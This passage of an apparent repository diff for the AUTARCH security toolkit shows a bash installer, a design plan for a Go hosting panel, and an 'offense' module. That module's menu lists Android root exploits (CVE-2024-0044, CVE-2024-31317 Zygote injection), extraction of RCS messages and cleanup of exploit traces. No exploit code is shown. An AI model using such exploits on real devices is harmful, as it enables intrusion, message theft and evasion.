"requests>=2.31"
"msgpack>=1.0"
"pyserial>=3.5"
"esptool>=4.0"
"pyshark>=0.6"
"qrcode>=7.0"
"Pillow>=10.0"
)
for pkg in "${core_pkgs[@]}"; do
local name=$(echo "$pkg" | sed 's/[>=<].*//')
step_progress "$name"
pip install "$pkg" -q 2>&1 | tail -1
done
ok "Core dependencies installed"
echo
}
install_llm_local() {
header "LOCAL LLM (llama-cpp-python)"
if [ "$GPU_TYPE" = "cuda" ]; then
info "CUDA detected — building with GPU acceleration"
step_progress "llama-cpp-python (CUDA)..."
CMAKE_ARGS="-DGGML_CUDA=on" pip install llama-cpp-python>=0.3.16 --force-reinstall --no-cache-dir -q 2>&1 | tail -1
elif [ "$GPU_TYPE" = "rocm" ]; then
info "ROCm detected — building with AMD GPU acceleration"
step_progress "llama-cpp-python (ROCm)..."
CMAKE_ARGS="-DGGML_HIPBLAS=on" pip install llama-cpp-python>=0.3.16 --force-reinstall --no-cache-dir -q 2>&1 | tail -1
elif [ "$GPU_TYPE" = "metal" ]; then
info "Apple Metal — auto-enabled in llama-cpp"
step_progress "llama-cpp-python (Metal)..."
pip install llama-cpp-python>=0.3.16 -q 2>&1 | tail -1
else
info "CPU-only mode"
step_progress "llama-cpp-python (CPU)..."
pip install llama-cpp-python>=0.3.16 -q 2>&1 | tail -1
fi
ok "llama-cpp-python installed"
echo
}
install_llm_cloud() {
header "CLOUD LLM (Anthropic Claude API)"
step_progress "anthropic SDK..."
pip install "anthropic>=0.40" -q 2>&1 | tail -1
ok "Anthropic SDK installed"
info "Set your API key in autarch_settings.conf [claude] section"
echo
}
install_llm_hf() {
header "HUGGINGFACE (transformers + torch)"
step_progress "transformers..."
pip install "transformers>=4.35" -q 2>&1 | tail -1
step_progress "accelerate..."
pip install "accelerate>=0.25" -q 2>&1 | tail -1
# PyTorch — pick the right variant
step_progress "PyTorch..."
if [ "$GPU_TYPE" = "cuda" ]; then
info "Installing PyTorch with CUDA support..."
pip install torch --index-url https://download.pytorch.org/whl/cu121 -q 2>&1 | tail -1
elif [ "$GPU_TYPE" = "rocm" ]; then
info "Installing PyTorch with ROCm support..."
pip install torch --index-url https://download.pytorch.org/whl/rocm6.0 -q 2>&1 | tail -1
elif [ "$GPU_TYPE" = "intel" ]; then
info "Installing PyTorch with Intel XPU support..."
pip install torch intel-extension-for-pytorch -q 2>&1 | tail -1
else
pip install torch -q 2>&1 | tail -1
fi
# bitsandbytes (Linux/CUDA only)
if [ "$OS" = "linux" ] && [ "$GPU_TYPE" = "cuda" ]; then
step_progress "bitsandbytes (quantization)..."
pip install "bitsandbytes>=0.41" -q 2>&1 | tail -1
else
info "Skipping bitsandbytes ${D}(Linux + CUDA only)${RST}"
fi
ok "HuggingFace stack installed"
echo
}
install_system_tools() {
header "SYSTEM TOOLS"
if [ "$OS" != "linux" ]; then
warn "System tool install is only automated on Linux (apt/dnf/pacman)"
info "On $OS, install these manually: nmap, wireshark-cli, openssl, android-tools"
echo
return
fi
# Detect package manager
local PM=""
local INSTALL=""
if has apt-get; then
PM="apt"
INSTALL="sudo apt-get install -y"
elif has dnf; then
PM="dnf"
INSTALL="sudo dnf install -y"
elif has pacman; then
PM="pacman"
INSTALL="sudo pacman -S --noconfirm"
else
warn "No supported package manager found (apt/dnf/pacman)"
echo
return
fi
ok "Package manager: ${G}$PM${RST}"
local packages=()
# nmap
if ! has nmap; then
packages+=("nmap")
status "Will install: nmap"
else
ok "nmap already installed"
fi
# tshark
if ! has tshark; then
case "$PM" in
apt) packages+=("tshark") ;;
dnf) packages+=("wireshark-cli") ;;
pacman) packages+=("wireshark-cli") ;;
esac
status "Will install: tshark/wireshark-cli"
else
ok "tshark already installed"
fi
# openssl
if ! has openssl; then
packages+=("openssl")
status "Will install: openssl"
else
ok "openssl already installed"
fi
# adb/fastboot
if ! has adb; then
case "$PM" in
apt) packages+=("android-tools-adb android-tools-fastboot") ;;
dnf) packages+=("android-tools") ;;
pacman) packages+=("android-tools") ;;
esac
status "Will install: adb + fastboot"
else
ok "adb already installed"
fi
# wireguard
if ! has wg; then
case "$PM" in
apt) packages+=("wireguard wireguard-tools") ;;
dnf) packages+=("wireguard-tools") ;;
pacman) packages+=("wireguard-tools") ;;
esac
status "Will install: wireguard-tools"
else
ok "wireguard already installed"
fi
# miniupnpc
if ! has upnpc; then
packages+=("miniupnpc")
status "Will install: miniupnpc"
else
ok "miniupnpc already installed"
fi
if [ ${#packages[@]} -gt 0 ]; then
echo
info "Installing with: $PM"
if [ "$PM" = "apt" ]; then
sudo apt-get update -qq 2>&1 | tail -1
fi
$INSTALL ${packages[@]} 2>&1 | tail -5
ok "System tools installed"
else
ok "All system tools already present"
fi
echo
}
install_node_hw() {
header "HARDWARE JS BUNDLES (WebUSB / Web Serial)"
if ! has npm; then
fail "npm not found — install Node.js first"
info "https://nodejs.org or: apt install nodejs npm"
echo
return
fi
step_progress "npm install..."
(cd "$SCRIPT_DIR" && npm install --silent 2>&1 | tail -3)
step_progress "Building bundles..."
if [ -f "$SCRIPT_DIR/scripts/build-hw-libs.sh" ]; then
(cd "$SCRIPT_DIR" && bash scripts/build-hw-libs.sh 2>&1 | tail -5)
ok "Hardware bundles built"
else
warn "scripts/build-hw-libs.sh not found"
fi
echo
}
# ── Summary ──────────────────────────────────────────────────────────
show_summary() {
hr "═"
printf "\n${BLD}${G} INSTALLATION COMPLETE${RST}\n\n"
printf " ${BLD}${W}Quick Start:${RST}\n"
echo
if [ "$OS" = "windows" ]; then
printf " ${D}# Activate the virtual environment${RST}\n"
printf " ${C}source venv/Scripts/activate${RST}\n\n"
else
printf " ${D}# Activate the virtual environment${RST}\n"
printf " ${C}source venv/bin/activate${RST}\n\n"
fi
printf " ${D}# Launch the CLI${RST}\n"
printf " ${C}python autarch.py${RST}\n\n"
printf " ${D}# Launch the web dashboard${RST}\n"
printf " ${C}python autarch_web.py${RST}\n\n"
printf " ${D}# Open in browser${RST}\n"
printf " ${C}https://localhost:8181${RST}\n"
echo
if $INSTALL_LLM_LOCAL; then
printf " ${ARROW} Local LLM: place a .gguf model in ${D}models/${RST}\n"
printf " ${D}and set model_path in autarch_settings.conf [llama]${RST}\n"
fi
if $INSTALL_LLM_CLOUD; then
printf " ${ARROW} Claude API: set api_key in ${D}autarch_settings.conf [claude]${RST}\n"
fi
echo
hr "═"
echo
}
# ── Main ─────────────────────────────────────────────────────────────
main() {
show_banner
show_system_check
show_menu
# Calculate total steps for progress
TOTAL_STEPS=11 # pip upgrade + 9 core packages + 1 finish
$INSTALL_LLM_LOCAL && TOTAL_STEPS=$((TOTAL_STEPS + 1))
$INSTALL_LLM_CLOUD && TOTAL_STEPS=$((TOTAL_STEPS + 1))
$INSTALL_LLM_HF && TOTAL_STEPS=$((TOTAL_STEPS + 4))
$INSTALL_NODE_HW && TOTAL_STEPS=$((TOTAL_STEPS + 2))
echo
create_venv
install_core
$INSTALL_LLM_LOCAL && install_llm_local
$INSTALL_LLM_CLOUD && install_llm_cloud
$INSTALL_LLM_HF && install_llm_hf
$INSTALL_SYSTEM_TOOLS && install_system_tools
$INSTALL_NODE_HW && install_node_hw
show_summary
}
main "$@"

669
docs/setec_manager_plan.md Normal file
View File

@ -0,0 +1,669 @@
# Setec App Manager — Architecture Plan
**A lightweight Plesk/cPanel replacement built in Go, designed to work with AUTARCH**
By darkHal Security Group & Setec Security Labs
---
## 1. What Is This?
Setec App Manager is a standalone Go application that turns a bare Debian 13 VPS into a fully managed web hosting platform. It provides:
- A **web dashboard** (its own HTTP server on port 9090) for managing the VPS
- **Multi-domain hosting** with Nginx reverse proxy management
- **Git-based deployment** (clone, pull, restart)
- **SSL/TLS automation** via Let's Encrypt (ACME)
- **AUTARCH-native integration** — first-class support for deploying and managing AUTARCH instances
- **System administration** — users, firewall, packages, monitoring, backups
- **Float Mode backend** — WebSocket bridge for AUTARCH Cloud Edition USB passthrough
It is NOT a general-purpose hosting panel. It is purpose-built for running AUTARCH and supporting web applications on a single VPS, with the lightest possible footprint.
---
## 2. Technology Stack
| Component | Choice | Rationale |
|-----------|--------|-----------|
| Language | Go 1.22+ | Single binary, no runtime deps, fast |
| Web framework | `net/http` + `chi` router | Lightweight, stdlib-based |
| Templates | Go `html/template` | Built-in, secure, fast |
| Database | SQLite (via `modernc.org/sqlite`) | Zero-config, embedded, pure Go |
| Reverse proxy | Nginx (managed configs) | Battle-tested, performant |
| SSL | certbot / ACME (`golang.org/x/crypto/acme`) | Let's Encrypt automation |
| Auth | bcrypt + JWT sessions | Compatible with AUTARCH's credential format |
| Firewall | ufw / iptables (via exec) | Standard Debian tooling |
| Process mgmt | systemd (unit generation) | Native Debian service management |
| WebSocket | `gorilla/websocket` | For Float Mode USB bridge + live logs |
---
## 3. Directory Structure
```
/opt/setec-manager/
├── setec-manager # Single Go binary
├── config.yaml # Manager configuration
├── data/
│ ├── setec.db # SQLite database (sites, users, logs, jobs)
│ ├── credentials.json # Admin credentials (bcrypt)
│ └── acme/ # Let's Encrypt account + certs
├── templates/ # Embedded HTML templates (via embed.FS)
├── static/ # Embedded CSS/JS assets
└── nginx/
├── sites-available/ # Generated per-domain configs
└── snippets/ # Shared SSL/proxy snippets
```
**Managed directories on the VPS:**
```
/var/www/ # Web applications root
├── autarch/ # AUTARCH instance (cloned from git)
├── example.com/ # Static site or app
└── api.example.com/ # Another app
/etc/nginx/
├── sites-available/ # Setec-generated Nginx configs
├── sites-enabled/ # Symlinks to active sites
└── snippets/
├── ssl-params.conf # Shared SSL settings
└── proxy-params.conf # Shared proxy headers
/etc/systemd/system/
├── setec-manager.service # Manager itself
├── autarch-web.service # AUTARCH web service
├── autarch-dns.service # AUTARCH DNS service
└── app-*.service # Per-app service units
```
---
## 4. Database Schema
```sql
-- Sites / domains managed by the panel
CREATE TABLE sites (
id INTEGER PRIMARY KEY AUTOINCREMENT,
domain TEXT NOT NULL UNIQUE,
aliases TEXT DEFAULT '', -- comma-separated alt domains
app_type TEXT NOT NULL DEFAULT 'static', -- 'static', 'reverse_proxy', 'autarch', 'python', 'node'
app_root TEXT NOT NULL, -- /var/www/domain.com
app_port INTEGER DEFAULT 0, -- backend port (for reverse proxy)
app_entry TEXT DEFAULT '', -- entry point (e.g., autarch_web.py, server.js)
git_repo TEXT DEFAULT '', -- git clone URL
git_branch TEXT DEFAULT 'main',
ssl_enabled BOOLEAN DEFAULT FALSE,
ssl_cert_path TEXT DEFAULT '',
ssl_key_path TEXT DEFAULT '',
ssl_auto BOOLEAN DEFAULT TRUE, -- auto Let's Encrypt
enabled BOOLEAN DEFAULT TRUE,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
-- System users (for SSH/SFTP access)
CREATE TABLE system_users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
uid INTEGER,
home_dir TEXT,
shell TEXT DEFAULT '/bin/bash',
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
-- Manager users (web panel login)
CREATE TABLE manager_users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password_hash TEXT NOT NULL,
role TEXT DEFAULT 'admin', -- 'admin', 'viewer'
force_change BOOLEAN DEFAULT FALSE,
last_login DATETIME,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
-- Deployment history
CREATE TABLE deployments (
id INTEGER PRIMARY KEY AUTOINCREMENT,
site_id INTEGER REFERENCES sites(id),
action TEXT NOT NULL, -- 'clone', 'pull', 'restart', 'ssl_renew'
status TEXT DEFAULT 'pending', -- 'pending', 'running', 'success', 'failed'
output TEXT DEFAULT '',
started_at DATETIME,
finished_at DATETIME
);
-- Scheduled jobs (SSL renewal, backups, git pull)
CREATE TABLE cron_jobs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
site_id INTEGER REFERENCES sites(id), -- NULL for system jobs
job_type TEXT NOT NULL, -- 'ssl_renew', 'backup', 'git_pull', 'restart'
schedule TEXT NOT NULL, -- cron expression
enabled BOOLEAN DEFAULT TRUE,
last_run DATETIME,
next_run DATETIME
);
-- Firewall rules
CREATE TABLE firewall_rules (
id INTEGER PRIMARY KEY AUTOINCREMENT,
direction TEXT DEFAULT 'in', -- 'in', 'out'
protocol TEXT DEFAULT 'tcp',
port TEXT NOT NULL, -- '80', '443', '8181', '80,443', '1000:2000'
source TEXT DEFAULT 'any',
action TEXT DEFAULT 'allow', -- 'allow', 'deny'
comment TEXT DEFAULT '',
enabled BOOLEAN DEFAULT TRUE
);
-- Float Mode sessions (AUTARCH Cloud Edition)
CREATE TABLE float_sessions (
id TEXT PRIMARY KEY, -- UUID session token
user_id INTEGER REFERENCES manager_users(id),
client_ip TEXT,
client_agent TEXT, -- browser user-agent
usb_bridge BOOLEAN DEFAULT FALSE, -- USB passthrough active
connected_at DATETIME DEFAULT CURRENT_TIMESTAMP,
last_ping DATETIME,
expires_at DATETIME
);
-- Backups
CREATE TABLE backups (
id INTEGER PRIMARY KEY AUTOINCREMENT,
site_id INTEGER REFERENCES sites(id), -- NULL for full system backup
backup_type TEXT DEFAULT 'site', -- 'site', 'database', 'full'
file_path TEXT NOT NULL,
size_bytes INTEGER DEFAULT 0,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
```
---
## 5. Web Dashboard Routes
### 5.1 Authentication
```
GET /login → Login page
POST /login → Authenticate (returns JWT cookie)
POST /logout → Clear session
GET /api/auth/status → Current user info
```
### 5.2 Dashboard
```
GET / → Dashboard overview (system stats, sites, services)
GET /api/system/info → CPU, RAM, disk, uptime, load
GET /api/system/processes → Top processes by resource usage
```
### 5.3 Site Management
```
GET /sites → Site list page
GET /sites/new → New site form
POST /sites → Create site (clone repo, generate nginx config, enable)
GET /sites/:id → Site detail / edit
PUT /sites/:id → Update site config
DELETE /sites/:id → Remove site (disable nginx, optionally delete files)
POST /sites/:id/deploy → Git pull + restart
POST /sites/:id/restart → Restart app service
POST /sites/:id/stop → Stop app service
POST /sites/:id/start → Start app service
GET /sites/:id/logs → View app logs (journalctl stream)
GET /sites/:id/logs/stream → SSE live log stream
```
### 5.4 AUTARCH Management
```
POST /autarch/install → Clone from git, setup venv, install deps
POST /autarch/update → Git pull + pip install + restart
GET /autarch/status → Service status, version, config
POST /autarch/start → Start AUTARCH web + DNS
POST /autarch/stop → Stop all AUTARCH services
POST /autarch/restart → Restart all AUTARCH services
GET /autarch/config → Read autarch_settings.conf
PUT /autarch/config → Update autarch_settings.conf
POST /autarch/dns/build → Build DNS server from source
```
### 5.5 SSL / Certificates
```
GET /ssl → Certificate overview
POST /ssl/:domain/issue → Issue Let's Encrypt cert (ACME)
POST /ssl/:domain/renew → Renew cert
POST /ssl/:domain/upload → Upload custom cert + key
DELETE /ssl/:domain → Remove cert
GET /api/ssl/status → All cert statuses + expiry dates
```
### 5.6 Nginx Management
```
GET /nginx/status → Nginx service status + config test
POST /nginx/reload → Reload nginx (graceful)
POST /nginx/restart → Restart nginx
GET /nginx/config/:domain → View generated config
PUT /nginx/config/:domain → Edit config (with validation)
POST /nginx/test → nginx -t (config syntax check)
```
### 5.7 Firewall
```
GET /firewall → Rule list + status
POST /firewall/rules → Add rule
DELETE /firewall/rules/:id → Remove rule
POST /firewall/enable → Enable firewall (ufw enable)
POST /firewall/disable → Disable firewall
GET /api/firewall/status → Current rules + status JSON
```
### 5.8 System Users
```
GET /users → System user list
POST /users → Create system user (useradd)
DELETE /users/:id → Remove system user
POST /users/:id/password → Reset password
POST /users/:id/ssh-key → Add SSH public key
```
### 5.9 Panel Users
```
GET /panel/users → Manager user list
POST /panel/users → Create panel user
PUT /panel/users/:id → Update (role, password)
DELETE /panel/users/:id → Remove
```
### 5.10 Backups
```
GET /backups → Backup list
POST /backups/site/:id → Backup specific site (tar.gz)
POST /backups/full → Full system backup
POST /backups/:id/restore → Restore from backup
DELETE /backups/:id → Delete backup file
GET /backups/:id/download → Download backup archive
```
### 5.11 Monitoring
```
GET /monitor → System monitoring page
GET /api/monitor/cpu → CPU usage (1s sample)
GET /api/monitor/memory → Memory usage
GET /api/monitor/disk → Disk usage per mount
GET /api/monitor/network → Network I/O stats
GET /api/monitor/services → Service status list
WS /api/monitor/live → WebSocket live stats stream (1s interval)
```
### 5.12 Float Mode Backend
```
POST /float/register → Register Float client (returns session token)
WS /float/bridge/:session → WebSocket USB bridge (binary frames)
GET /float/sessions → Active Float sessions
DELETE /float/sessions/:id → Disconnect Float session
POST /float/usb/enumerate → List USB devices on connected client
POST /float/usb/open → Open USB device on client
POST /float/usb/close → Close USB device on client
POST /float/usb/transfer → USB bulk/interrupt transfer via bridge
```
### 5.13 Logs
```
GET /logs → Log viewer page
GET /api/logs/system → System logs (journalctl)
GET /api/logs/nginx → Nginx access + error logs
GET /api/logs/setec → Manager logs
GET /api/logs/stream → SSE live log stream (filterable)
```
---
## 6. Core Features Detail
### 6.1 Site Deployment Flow
When creating a new site:
```
1. User submits: domain, git_repo (optional), app_type, app_port
2. Manager:
a. Creates /var/www/<domain>/
b. If git_repo: git clone <repo> /var/www/<domain>
c. If python app: creates venv, pip install -r requirements.txt
d. If node app: npm install
e. Generates Nginx config from template
f. Writes to /etc/nginx/sites-available/<domain>
g. Symlinks to sites-enabled/
h. If ssl_auto: runs ACME cert issuance
i. Generates systemd unit for the app
j. Starts the app service
k. Reloads nginx
l. Records deployment in database
```
### 6.2 AUTARCH Install Flow
```
1. git clone https://github.com/DigijEth/autarch.git /var/www/autarch
2. chown -R autarch:autarch /var/www/autarch
3. python3 -m venv /var/www/autarch/venv
4. /var/www/autarch/venv/bin/pip install -r /var/www/autarch/requirements.txt
5. npm install (in /var/www/autarch for hardware JS bundles)
6. bash /var/www/autarch/scripts/build-hw-libs.sh
7. Copy default autarch_settings.conf → update web.host/port, web.secret_key
8. Generate systemd units (autarch-web, autarch-dns)
9. Generate Nginx reverse proxy config (domain → localhost:8181)
10. Issue SSL cert
11. Enable + start services
12. Record deployment
```
### 6.3 Nginx Config Templates
**Reverse Proxy (AUTARCH / Python / Node):**
```nginx
server {
listen 80;
server_name {{.Domain}} {{.Aliases}};
location /.well-known/acme-challenge/ {
root /var/www/certbot;
}
location / {
return 301 https://$host$request_uri;
}
}
server {
listen 443 ssl http2;
server_name {{.Domain}} {{.Aliases}};
ssl_certificate {{.SSLCertPath}};
ssl_certificate_key {{.SSLKeyPath}};
include snippets/ssl-params.conf;
location / {
proxy_pass https://127.0.0.1:{{.AppPort}};
include snippets/proxy-params.conf;
}
# WebSocket support (for AUTARCH SSE/WebSocket)
location /api/ {
proxy_pass https://127.0.0.1:{{.AppPort}};
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_read_timeout 86400;
include snippets/proxy-params.conf;
}
}
```
**Static Site:**
```nginx
server {
listen 443 ssl http2;
server_name {{.Domain}};
root {{.AppRoot}};
index index.html;
ssl_certificate {{.SSLCertPath}};
ssl_certificate_key {{.SSLKeyPath}};
include snippets/ssl-params.conf;
location / {
try_files $uri $uri/ =404;
}
}
```
### 6.4 Firewall Default Rules
On first setup, Setec Manager installs these ufw rules:
```
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp comment "SSH"
ufw allow 80/tcp comment "HTTP"
ufw allow 443/tcp comment "HTTPS"
ufw allow 9090/tcp comment "Setec Manager"
ufw allow 8181/tcp comment "AUTARCH Web"
ufw allow 53 comment "AUTARCH DNS"
ufw enable
```
### 6.5 Float Mode USB Bridge
The Float Mode bridge is the backend half of AUTARCH Cloud Edition's USB passthrough. It works as follows:
```
┌──────────────────┐ WebSocket ┌──────────────────┐
│ User's Browser │◄──────────────────►│ Setec Manager │
│ (AUTARCH CE) │ │ (VPS) │
└────────┬─────────┘ └────────┬─────────┘
│ │
│ Float Applet │ USB Commands
│ (runs on user's PC) │ forwarded to
│ │ AUTARCH modules
┌────────▼─────────┐ ┌────────▼─────────┐
│ WebSocket Client │ │ AUTARCH Backend │
│ + USB Access │ │ (hardware.py │
│ (native app) │ │ equivalent) │
└────────┬─────────┘ └──────────────────┘
┌────▼────┐
│ USB Hub │ ← Physical devices (phones, ESP32, etc.)
└─────────┘
```
**Protocol:**
1. Float applet on user's PC opens WebSocket to `wss://domain/float/bridge/<session>`
2. Manager authenticates session token
3. Binary WebSocket frames carry USB commands and data:
- Frame type byte: `0x01` = enumerate, `0x02` = open, `0x03` = close, `0x04` = transfer
- Payload: device descriptor, endpoint, data
4. Manager translates USB operations into AUTARCH hardware module calls
5. Results flow back over the same WebSocket
This is the **server side only**. The client applet is designed in `autarch_float.md`.
---
## 7. Go Package Structure
```
services/setec-manager/
├── cmd/
│ └── main.go # Entry point, flag parsing
├── internal/
│ ├── server/
│ │ ├── server.go # HTTP server setup, middleware, router
│ │ ├── auth.go # JWT auth, login/logout handlers
│ │ └── middleware.go # Logging, auth check, CORS
│ ├── handlers/
│ │ ├── dashboard.go # Dashboard + system info
│ │ ├── sites.go # Site CRUD + deployment
│ │ ├── autarch.go # AUTARCH-specific management
│ │ ├── ssl.go # Certificate management
│ │ ├── nginx.go # Nginx config + control
│ │ ├── firewall.go # ufw rule management
│ │ ├── users.go # System + panel user management
│ │ ├── backups.go # Backup/restore operations
│ │ ├── monitor.go # System monitoring + WebSocket stream
│ │ ├── logs.go # Log viewer + SSE stream
│ │ └── float.go # Float Mode WebSocket bridge
│ ├── nginx/
│ │ ├── config.go # Nginx config generation
│ │ ├── templates.go # Go templates for nginx configs
│ │ └── control.go # nginx reload/restart/test
│ ├── acme/
│ │ └── acme.go # Let's Encrypt ACME client
│ ├── deploy/
│ │ ├── git.go # Git clone/pull operations
│ │ ├── python.go # Python venv + pip setup
│ │ ├── node.go # npm install
│ │ └── systemd.go # Service unit generation + control
│ ├── system/
│ │ ├── info.go # CPU, RAM, disk, network stats
│ │ ├── firewall.go # ufw wrapper
│ │ ├── users.go # useradd/userdel/passwd wrappers
│ │ └── packages.go # apt wrapper
│ ├── db/
│ │ ├── db.go # SQLite connection + migrations
│ │ ├── sites.go # Site queries
│ │ ├── users.go # User queries
│ │ ├── deployments.go # Deployment history queries
│ │ ├── backups.go # Backup queries
│ │ └── float.go # Float session queries
│ ├── float/
│ │ ├── bridge.go # WebSocket USB bridge protocol
│ │ ├── session.go # Session management
│ │ └── protocol.go # Binary frame protocol definitions
│ └── config/
│ └── config.go # YAML config loader
├── web/
│ ├── templates/ # HTML templates (embedded)
│ │ ├── base.html
│ │ ├── login.html
│ │ ├── dashboard.html
│ │ ├── sites.html
│ │ ├── site_detail.html
│ │ ├── site_new.html
│ │ ├── autarch.html
│ │ ├── ssl.html
│ │ ├── nginx.html
│ │ ├── firewall.html
│ │ ├── users.html
│ │ ├── backups.html
│ │ ├── monitor.html
│ │ ├── logs.html
│ │ └── float.html
│ └── static/ # CSS/JS assets (embedded)
│ ├── css/style.css
│ └── js/app.js
├── build.sh # Build script
├── go.mod
├── config.yaml # Default config
└── README.md
```
---
## 8. Configuration (config.yaml)
```yaml
server:
host: "0.0.0.0"
port: 9090
tls: true
cert: "/opt/setec-manager/data/acme/manager.crt"
key: "/opt/setec-manager/data/acme/manager.key"
database:
path: "/opt/setec-manager/data/setec.db"
nginx:
sites_available: "/etc/nginx/sites-available"
sites_enabled: "/etc/nginx/sites-enabled"
snippets: "/etc/nginx/snippets"
webroot: "/var/www"
certbot_webroot: "/var/www/certbot"
acme:
email: "" # Let's Encrypt registration email
staging: false # Use LE staging for testing
account_dir: "/opt/setec-manager/data/acme"
autarch:
install_dir: "/var/www/autarch"
git_repo: "https://github.com/DigijEth/autarch.git"
git_branch: "main"
web_port: 8181
dns_port: 53
float:
enabled: false
max_sessions: 10
session_ttl: "24h"
backups:
dir: "/opt/setec-manager/data/backups"
max_age_days: 30
max_count: 50
logging:
level: "info"
file: "/var/log/setec-manager.log"
max_size_mb: 100
max_backups: 3
```
---
## 9. Build Targets
```
Part 1: Core server, auth, dashboard, site CRUD, Nginx config gen,
AUTARCH install/deploy, systemd management
(~4,000 lines)
Part 2: SSL/ACME automation, firewall management, system users,
backup/restore, system monitoring
(~3,500 lines)
Part 3: Float Mode WebSocket bridge, live log streaming,
deployment history, scheduled jobs (cron), web UI polish
(~3,500 lines)
Part 4: Web UI templates + CSS + JS, full frontend for all features
(~3,000 lines Go templates + 2,000 lines CSS/JS)
Total estimated: ~16,000 lines
```
---
## 10. Security Considerations
- Manager runs as root (required for nginx, systemd, useradd)
- Web panel protected by bcrypt + JWT with short-lived tokens
- All subprocess calls use `exec.Command()` with argument arrays (no shell injection)
- Nginx configs validated with `nginx -t` before reload
- ACME challenges served from dedicated webroot (no app interference)
- Float Mode sessions require authentication + have TTL
- USB bridge frames validated for protocol compliance
- SQLite database file permissions: 0600
- Credentials file permissions: 0600
- All user-supplied domains validated against DNS before cert issuance
- Rate limiting on login attempts (5 per minute per IP)
---
## 11. First-Run Bootstrap
When `setec-manager` is run for the first time on a fresh Debian 13 VPS:
```
1. Detect if first run (no config.yaml or empty database)
2. Interactive TUI setup:
a. Set admin username + password
b. Set manager domain (or IP)
c. Set email for Let's Encrypt
d. Configure AUTARCH auto-install (y/n)
3. System setup:
a. apt update && apt install -y nginx certbot python3 python3-venv git ufw
b. Generate Nginx base config + snippets
c. Configure ufw default rules
d. Enable ufw
4. If AUTARCH auto-install:
a. Clone from git
b. Full AUTARCH setup (venv, pip, npm, build)
c. Generate + install systemd units
d. Generate Nginx reverse proxy
e. Issue SSL cert
f. Start AUTARCH
5. Start Setec Manager web dashboard
6. Print access URL
```

View File

@ -1,10 +1,18 @@
""" """
Android Root Methods - Root detection, Magisk install, exploit-based rooting Android Root Methods v2.0 Root detection, Magisk, CVE exploits, GrapheneOS support
Privilege escalation paths:
CVE-2024-0044 run-as any app UID (Android 12-13, pre-Oct 2024)
CVE-2024-31317 Zygote injection (Android 12-14, pre-Mar 2024, NOT GrapheneOS)
fastboot boot temp root via Magisk-patched image (unlocked bootloader)
Pixel GPU kernel root via Mali driver (CVE-2023-6241, CVE-2025-0072)
Magisk standard Magisk install + patch workflow
adb root userdebug/eng builds only
""" """
DESCRIPTION = "Android root methods (Magisk, exploits, root detection)" DESCRIPTION = "Android root methods (CVE-2024-0044, CVE-2024-31317, Magisk, fastboot, GrapheneOS)"
AUTHOR = "AUTARCH" AUTHOR = "AUTARCH"
VERSION = "1.0" VERSION = "2.0"
CATEGORY = "offense" CATEGORY = "offense"
import sys import sys
@ -13,7 +21,7 @@ sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
class AndroidRoot: class AndroidRoot:
"""Interactive menu for Android rooting operations.""" """Interactive menu for Android rooting and privilege escalation."""
def __init__(self): def __init__(self):
from core.android_exploit import get_exploit_manager from core.android_exploit import get_exploit_manager
@ -48,16 +56,24 @@ class AndroidRoot:
return self.serial is not None return self.serial is not None
def show_menu(self): def show_menu(self):
print(f"\n{'='*50}") print(f"\n{'='*55}")
print(" Root Methods") print(" Root Methods & Privilege Escalation")
print(f"{'='*50}") print(f"{'='*55}")
print(f" Device: {self.serial or '(none)'}") print(f" Device: {self.serial or '(none)'}")
print() print()
print(" [1] Check Root Status") print(" [1] Check Root Status")
print(" [2] Install Magisk APK") print(" [2] Vulnerability Assessment")
print(" [3] Pull Patched Boot Image") print(" [3] Detect OS (Stock / GrapheneOS)")
print(" [4] Root via Exploit") print(" [4] CVE-2024-0044 — run-as any app UID")
print(" [5] ADB Root Shell (debug builds)") print(" [5] CVE-2024-31317 — Zygote injection")
print(" [6] Install Magisk APK")
print(" [7] Pull Patched Boot Image")
print(" [8] Fastboot Temp Root (boot patched image)")
print(" [9] Root via Exploit Binary")
print(" [a] ADB Root Shell (debug builds)")
print(" [r] Extract RCS (auto-select best exploit)")
print(" [e] CVE-2025-48543 — system UID (Android 15/16)")
print(" [c] Cleanup CVE-2024-0044 Traces")
print(" [s] Select Device") print(" [s] Select Device")
print(" [0] Back") print(" [0] Back")
print() print()
@ -72,11 +88,76 @@ class AndroidRoot:
print(f" Method: {result['method']}") print(f" Method: {result['method']}")
if result['version']: if result['version']:
print(f" Version: {result['version']}") print(f" Version: {result['version']}")
details = result.get('details', {}) for k, v in result.get('details', {}).items():
if details: print(f" {k}: {v}")
print(f" Details:")
for k, v in details.items(): def vuln_assessment(self):
print(f" {k}: {v}") if not self._ensure_device():
return
print(" Assessing vulnerabilities...")
result = self.mgr.assess_vulnerabilities(self.serial)
oi = result['os_info']
print(f"\n OS: {'GrapheneOS' if oi.get('is_grapheneos') else 'Stock Android'}")
print(f" Model: {oi.get('model', '?')} ({oi.get('brand', '?')})")
print(f" Android: {oi.get('android_version', '?')} (SDK {oi.get('sdk', '?')})")
print(f" Patch: {oi.get('security_patch', '?')}")
print(f" Bootloader: {'UNLOCKED' if oi.get('bootloader_unlocked') else 'LOCKED'}")
print(f" Kernel: {oi.get('kernel', '?')}")
print(f"\n Exploitable: {result['exploitable_count']}")
print(f" Kernel root: {'YES' if result['has_kernel_root'] else 'NO'}")
print(f" App UID: {'YES' if result['has_app_uid'] else 'NO'}")
for v in result['vulnerabilities']:
m = '[!]' if v.get('exploitable') else '[ ]'
print(f"\n {m} {v.get('cve', 'N/A'):20s} {v['name']}")
print(f" Type: {v['type']} | Severity: {v.get('severity', '?')}")
if v.get('note'):
print(f" Note: {v['note']}")
def detect_os(self):
if not self._ensure_device():
return
info = self.mgr.detect_os_type(self.serial)
print(f"\n Brand: {info.get('brand', '?')}")
print(f" Model: {info.get('model', '?')}")
print(f" Android: {info.get('android_version', '?')} (SDK {info.get('sdk', '?')})")
print(f" Patch: {info.get('security_patch', '?')}")
print(f" Pixel: {'YES' if info.get('is_pixel') else 'NO'}")
